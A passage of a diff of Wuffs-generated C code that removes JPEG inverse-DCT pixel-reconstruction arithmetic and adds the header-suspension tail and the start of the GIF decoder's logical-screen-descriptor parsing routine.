-+ ok: -+ self->private_impl.p_decode_header = 0; -+ goto exit; - } -- if (0u == (self->private_data.f_mcu_blocks[0u][14u] | -- self->private_data.f_mcu_blocks[0u][22u] | -- self->private_data.f_mcu_blocks[0u][30u] | -- self->private_data.f_mcu_blocks[0u][38u] | -- self->private_data.f_mcu_blocks[0u][46u] | -- self->private_data.f_mcu_blocks[0u][54u] | -- self->private_data.f_mcu_blocks[0u][62u])) { -- v_intermediate[6u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][6u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][6u])))) << 2u)); -- v_intermediate[14u] = v_intermediate[6u]; -- v_intermediate[22u] = v_intermediate[6u]; -- v_intermediate[30u] = v_intermediate[6u]; -- v_intermediate[38u] = v_intermediate[6u]; -- v_intermediate[46u] = v_intermediate[6u]; -- v_intermediate[54u] = v_intermediate[6u]; -- v_intermediate[62u] = v_intermediate[6u]; -- } else { -- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][22u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][22u])))); -- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][54u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][54u])))); -- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); -- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); -- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); -- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][6u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][6u])))); -- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][38u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][38u])))); -- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); -- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); -- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); -- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); -- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); -- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); -- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][14u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][14u])))); -- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][30u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][30u])))); -- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][46u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][46u])))); -- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][62u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][62u])))); -- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); -- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); -- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); -- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); -- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); -- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); -- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); -- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); -- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); -- v_ci51 *= 4294964100u; -- v_ci53 *= 4294946301u; -- v_ci71 *= 4294959923u; -- v_ci73 *= 4294951227u; -- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); -- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); -- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); -- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); -- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); -- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); -- v_intermediate[6u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); -- v_intermediate[62u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); -- v_intermediate[14u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); -- v_intermediate[54u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); -- v_intermediate[22u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); -- v_intermediate[46u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); -- v_intermediate[30u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); -- v_intermediate[38u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_header = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- if (0u == (self->private_data.f_mcu_blocks[0u][15u] | -- self->private_data.f_mcu_blocks[0u][23u] | -- self->private_data.f_mcu_blocks[0u][31u] | -- self->private_data.f_mcu_blocks[0u][39u] | -- self->private_data.f_mcu_blocks[0u][47u] | -- self->private_data.f_mcu_blocks[0u][55u] | -- self->private_data.f_mcu_blocks[0u][63u])) { -- v_intermediate[7u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][7u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][7u])))) << 2u)); -- v_intermediate[15u] = v_intermediate[7u]; -- v_intermediate[23u] = v_intermediate[7u]; -- v_intermediate[31u] = v_intermediate[7u]; -- v_intermediate[39u] = v_intermediate[7u]; -- v_intermediate[47u] = v_intermediate[7u]; -- v_intermediate[55u] = v_intermediate[7u]; -- v_intermediate[63u] = v_intermediate[7u]; -- } else { -- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][23u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][23u])))); -- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][55u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][55u])))); -- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); -- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); -- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); -- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][7u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][7u])))); -- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][39u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][39u])))); -- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); -- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); -- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); -- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); -- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); -- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); -- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][15u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][15u])))); -- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][31u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][31u])))); -- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][47u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][47u])))); -- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][63u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][63u])))); -- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); -- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); -- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); -- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); -- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); -- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); -- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); -- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); -- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); -- v_ci51 *= 4294964100u; -- v_ci53 *= 4294946301u; -- v_ci71 *= 4294959923u; -- v_ci73 *= 4294951227u; -- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); -- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); -- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); -- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); -- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); -- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); -- v_intermediate[7u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); -- v_intermediate[63u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); -- v_intermediate[15u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); -- v_intermediate[55u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); -- v_intermediate[23u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); -- v_intermediate[47u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); -- v_intermediate[31u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); -- v_intermediate[39u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); -+ -+ return status; -+} -+ -+// -------- func gif.decoder.decode_lsd -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_gif__decoder__decode_lsd( -+ wuffs_gif__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_flags = 0; -+ uint8_t v_background_color_index = 0; -+ uint32_t v_num_palette_entries = 0; -+ uint32_t v_i = 0; -+ uint32_t v_j = 0; -+ uint32_t v_argb = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; - } -- if (0u == (v_intermediate[1u] | -- v_intermediate[2u] | -- v_intermediate[3u] | -- v_intermediate[4u] | -- v_intermediate[5u] | -- v_intermediate[6u] | -- v_intermediate[7u])) { -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -- } -- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[0u] + 16u)) >> 5u) & 1023u)]; -- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -- } else { -- v_in2 = v_intermediate[2u]; -- v_in6 = v_intermediate[6u]; -- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); -- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); -- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); -- v_in0 = v_intermediate[0u]; -- v_in4 = v_intermediate[4u]; -- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); -- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); -- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); -- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); -- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); -- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); -- v_in1 = v_intermediate[1u]; -- v_in3 = v_intermediate[3u]; -- v_in5 = v_intermediate[5u]; -- v_in7 = v_intermediate[7u]; -- v_ri51 = ((uint32_t)(v_in5 + v_in1)); -- v_ri53 = ((uint32_t)(v_in5 + v_in3)); -- v_ri71 = ((uint32_t)(v_in7 + v_in1)); -- v_ri73 = ((uint32_t)(v_in7 + v_in3)); -- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); -- v_rk1 = ((uint32_t)(v_in1 * 12299u)); -- v_rk3 = ((uint32_t)(v_in3 * 25172u)); -- v_rk5 = ((uint32_t)(v_in5 * 16819u)); -- v_rk7 = ((uint32_t)(v_in7 * 2446u)); -- v_ri51 *= 4294964100u; -- v_ri53 *= 4294946301u; -- v_ri71 *= 4294959923u; -- v_ri73 *= 4294951227u; -- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); -- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); -- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); -- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); -- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); -- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -- } -- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_lsd; -+ if (coro_susp_point) { -+ v_flags = self->private_data.s_decode_lsd.v_flags; -+ v_background_color_index = self->private_data.s_decode_lsd.v_background_color_index; -+ v_num_palette_entries = self->private_data.s_decode_lsd.v_num_palette_entries; -+ v_i = self->private_data.s_decode_lsd.v_i; - } -- if (0u == (v_intermediate[9u] | -- v_intermediate[10u] | -- v_intermediate[11u] | -- v_intermediate[12u] | -- v_intermediate[13u] | -- v_intermediate[14u] | -- v_intermediate[15u])) { -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint32_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_0 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_decode_lsd.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_lsd.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -+ if (num_bits_0 == 8) { -+ t_0 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)) << 56; -+ } -+ } -+ self->private_impl.f_width = t_0; - } -- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[8u] + 16u)) >> 5u) & 1023u)]; -- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -- } else { -- v_in2 = v_intermediate[10u]; -- v_in6 = v_intermediate[14u]; -- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); -- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); -- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); -- v_in0 = v_intermediate[8u]; -- v_in4 = v_intermediate[12u]; -- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); -- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); -- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); -- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); -- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); -- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); -- v_in1 = v_intermediate[9u]; -- v_in3 = v_intermediate[11u]; -- v_in5 = v_intermediate[13u]; -- v_in7 = v_intermediate[15u]; -- v_ri51 = ((uint32_t)(v_in5 + v_in1)); -- v_ri53 = ((uint32_t)(v_in5 + v_in3)); -- v_ri71 = ((uint32_t)(v_in7 + v_in1)); -- v_ri73 = ((uint32_t)(v_in7 + v_in3)); -- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); -- v_rk1 = ((uint32_t)(v_in1 * 12299u)); -- v_rk3 = ((uint32_t)(v_in3 * 25172u)); -- v_rk5 = ((uint32_t)(v_in5 * 16819u)); -- v_rk7 = ((uint32_t)(v_in7 * 2446u)); -- v_ri51 *= 4294964100u; -- v_ri53 *= 4294946301u; -- v_ri71 *= 4294959923u; -- v_ri73 *= 4294951227u; -- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); -- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); -- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); -- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); -- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); -- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ uint32_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_1 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_decode_lsd.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_lsd.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; -+ if (num_bits_1 == 8) { -+ t_1 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)) << 56; -+ } -+ } -+ self->private_impl.f_height = t_1; - } -- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -- } -- if (0u == (v_intermediate[17u] | -- v_intermediate[18u] | -- v_intermediate[19u] | -- v_intermediate[20u] | -- v_intermediate[21u] | -- v_intermediate[22u] | -- v_intermediate[23u])) { -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_2 = *iop_a_src++; -+ v_flags = t_2; - } -- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[16u] + 16u)) >> 5u) & 1023u)]; -- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -- } else { -- v_in2 = v_intermediate[18u]; -- v_in6 = v_intermediate[22u]; -- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); -- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); -- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); -- v_in0 = v_intermediate[16u]; -- v_in4 = v_intermediate[20u]; -- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); -- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); -- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); -- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); -- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); -- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); -- v_in1 = v_intermediate[17u]; -- v_in3 = v_intermediate[19u]; -- v_in5 = v_intermediate[21u]; -- v_in7 = v_intermediate[23u]; -- v_ri51 = ((uint32_t)(v_in5 + v_in1)); -- v_ri53 = ((uint32_t)(v_in5 + v_in3)); -- v_ri71 = ((uint32_t)(v_in7 + v_in1)); -- v_ri73 = ((uint32_t)(v_in7 + v_in3)); -- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); -- v_rk1 = ((uint32_t)(v_in1 * 12299u)); -- v_rk3 = ((uint32_t)(v_in3 * 25172u)); -- v_rk5 = ((uint32_t)(v_in5 * 16819u)); -- v_rk7 = ((uint32_t)(v_in7 * 2446u)); -- v_ri51 *= 4294964100u; -- v_ri53 *= 4294946301u; -- v_ri71 *= 4294959923u; -- v_ri73 *= 4294951227u; -- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); -- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); -- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); -- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); -- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); -- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_3 = *iop_a_src++; -+ v_background_color_index = t_3; - } -- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[5u] = 